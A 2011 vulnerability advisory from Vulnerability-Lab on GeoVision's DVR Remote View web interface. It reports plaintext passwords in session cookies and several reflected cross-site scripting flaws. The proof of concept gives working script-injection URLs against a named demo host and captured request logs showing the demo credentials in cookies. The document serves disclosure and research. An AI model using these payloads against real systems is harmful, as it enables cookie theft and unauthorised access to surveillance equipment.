GeoVision DVR Remote View - Multiple Web Vulnerabilities

Document Title:
===============
GeoVision DVR Remote View  - Multiple Web Vulnerabilities



Release Date:
=============
2011-09-12


Vulnerability Laboratory ID (VL-ID):
====================================
51


Product & Service Introduction:
===============================
Geovision is a very famous taiwanese surveillance company for high infrastructure security & asian governments.

View Demo: http://www.camerasecuritynow.com/LiveDemo.asp


Abstract Advisory Information:
==============================
Vulnerability-Lab team discovers a session handling vulnerability & multiple non-persistent bugs in GeoVisions CCTV DVR application.


Vulnerability Disclosure Timeline:
==================================
2011-07-03:	Vendor Notification
2011-**-**:	Vendor Response/Feedback
2011-**-**:	Vendor Fix/Patch
2011-09-13:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple persistent & non-persistent vulnerabilities are detected on Geovosions DVR Remote View Center.
The vulnerability allows an remote attacker to read the passwords out of the session data in plain with low required user inter action. 
The vulnerability is detected on the web frontend of the surveillance dvr software application.

Vulnerable Module(s):
					[+] MPG4 Converter
					[+] JPGViewer Parameters
					[+] Option_EXT Module

Pictures:
					../1.png
					../2.png
					../3.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attacker with low required user inter action.
For example or reproduce ...

1


2:02:56.109[0ms][total 0ms] Status: Loaded from cache[Loaded from cache]
GET http://cam2.camerasecuritynow.com/JpegView.htm?IDKey=76835c86-4e4d-4a59-8d5b-84347bfe7a3c%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E Load Flags[LOAD_ONLY_FROM_CACHE  LOAD_FROM_CACHE  VALIDATE_NEVER  ] Content Size[-1] Mime Type[unknown]
   Request Headers:
      Host[cam2.camerasecuritynow.com]
      User-Agent[Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-us,en;q=0.5]
      Accept-Encoding[gzip,deflate]
      Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7]
      Keep-Alive[115]
      Connection[keep-alive]
      Cookie[id=Demo; pwd=Demo; remember=0]
   Response Headers:




2

http://cam2.camerasecuritynow.com/Option_ext.htm?IDKey=76835c86-4e4d-4a59-8d5b-84347bfe7a3c%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E


3:57:23.547[671ms][total 671ms] Status: 200[OK]
GET http://cam2.camerasecuritynow.com/LanMpegView0_QT.htm?IDKey=423d5c0c-f437-44b7-9df2-9c99d027b2e7 Load Flags[LOAD_DOCUMENT_URI  ] Content Size[5070] Mime Type[text/html]
   Request Headers:
      Host[cam2.camerasecuritynow.com]
      User-Agent[Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-us,en;q=0.5]
      Accept-Encoding[gzip,deflate]
      Accept-Charset[ISO-8859-1,utf-8;q=0.7,*;q=0.7]
      Keep-Alive[115]
      Connection[keep-alive]
      Cookie[id=Demo; pwd=Demo; remember=0; __utma=31549484.1923499197.1275696670.1275696670.1275696670.1; __utmc=31549484; __utmz=31549484.1275696670.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)]
   Response Headers:
      Server[GeoHttpServer]
      Date[Sat, 05 Jun 2010 01:57:29 GMT]
      Content-Type[text/html]
      Content-Length[5070]
      Authentication[test]
      Last-Modified[Fri, 04 Jun 2010 21:57:29 GMT]


View also the poc ...

			../GeoVision DVR.txt
			../JpegView.htm
			../LanMpegView0_QT.htm
			../Option_ext.htm


Security Risk:
==============
The security risk of the vulnerability is estimated as high because of plain transfered passwords in the session(cookie).


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


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=========================
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